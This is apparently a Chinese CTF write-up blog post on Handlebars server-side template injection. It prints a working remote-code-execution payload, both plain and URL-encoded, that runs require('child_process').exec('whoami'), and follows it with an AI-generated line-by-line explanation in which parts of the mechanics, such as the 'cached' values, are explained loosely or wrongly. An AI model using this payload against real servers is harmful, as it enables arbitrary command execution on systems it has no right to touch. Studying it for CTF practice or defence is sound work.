Handlebars的SSTI技巧

Handlebars SSTI

WP

自从知道了hacktricks打靶变得简单了,通过报错得知模板为Handlerbars,从hacktricks得到任意命令执行payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

AI解析

这个 Handlebars 模板是一个非常精巧且危险的 SSTI(服务器端模板注入)攻击载荷,其目的是通过一系列复杂的模板操作来执行任意系统命令。下面我将逐步分解这个攻击载荷的原理:

攻击载荷整体目标

这个模板的最终目标是构造并执行以下 JavaScript 代码:

1
require('child_process').exec('whoami')

从而在服务器上执行 whoami 命令。攻击者可以替换 whoami 为任意其他系统命令。

逐步原理分析

让我们逐层分解这个攻击模板:

1. 初始设置

1
{{#with "s" as |string|}}
  • 创建一个字符串 "s" 并将其别名(赋值给变量)为 string。这个字符串对象将用于访问 String 类的原型方法。

2. 创建另一个字符串上下文

1
{{#with "e"}}
  • 创建另一个字符串 "e" 并进入其上下文。这是为了后续操作准备。

3. 获取数组方法

1
{{#with split as |conslist|}}
  • 对字符串 "e" 调用 split() 方法。由于没有提供分隔符,这会返回一个数组 ["e"]
  • 将这个数组别名(赋值)为 conslist。现在我们可以使用数组的方法(如 pop, push)。

4. 操作数组以获取构造函数

1
2
3
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
  • {{this.pop}}: 弹出数组的最后一个元素(即 "e"),现在数组为空。
  • {{this.push (lookup string.sub "constructor")}}: 这是关键一步:
    • string.sub 是字符串的 sub() 方法(一个函数对象)
    • lookup string.sub "constructor" 获取这个函数对象的 constructor 属性,即 JavaScript 的 Function 构造函数
    • 将这个 Function 构造函数推入空数组中
  • {{this.pop}}: 再次弹出数组中的内容(即 Function 构造函数),但此时这个构造函数已经被"缓存"在某个上下文中,可供后续使用。

5. 创建代码数组

1
{{#with string.split as |codelist|}}
  • 对最初的 string(即 "s")调用 split(),得到数组 ["s"],别名(赋值)为 codelist

6. 向代码数组注入恶意代码

1
2
3
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
  • {{this.pop}}: 弹出数组中的 "s",使数组为空
  • {{this.push "return require('child_process').exec('whoami');"}}: 将恶意代码字符串作为函数体推入数组
  • {{this.pop}}: 再次弹出,但代码字符串已被"缓存"

7. 执行构造的函数

1
2
3
4
5
{{#each conslist}}
  {{#with (string.sub.apply 0 codelist)}}
    {{this}}
  {{/with}}
{{/each}}

这是最复杂也是最关键的部分:

  • {{#each conslist}}: 遍历 conslist 数组(虽然看起来是空的,但实际上包含了之前操作的"缓存")
  • {{#with (string.sub.apply 0 codelist)}}:
    • string.sub.apply 使用 apply() 方法调用 sub() 函数
    • 0 是设置的 this 上下文(这里不重要)
    • codelist 作为参数数组传递给 apply()
    • 但实际上,这里是在利用之前获取的 Function 构造函数来创建一个新函数
  • {{this}}: 执行并输出新函数的结果

技术原理总结

这个攻击载荷利用了多个 JavaScript 和 Handlebars 特性:

  1. 原型链访问:通过字符串方法访问 Function 构造函数
  2. 数组操作:使用数组的 poppush 方法来操作执行上下文
  3. 函数应用:使用 apply() 方法间接调用 Function 构造函数
  4. 闭包和上下文缓存:Handlebars 的块级作用域和变量别名机制使得中间结果可以被后续操作使用 为Handlebars模板

{{#with}} 的核心作用 {{#with}} 的主要作用是临时改变当前的数据上下文(Data Context),让你能够直接访问某个对象的所有属性,而无需在每个属性前重复书写该对象的名称。 像是进入某个目录

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计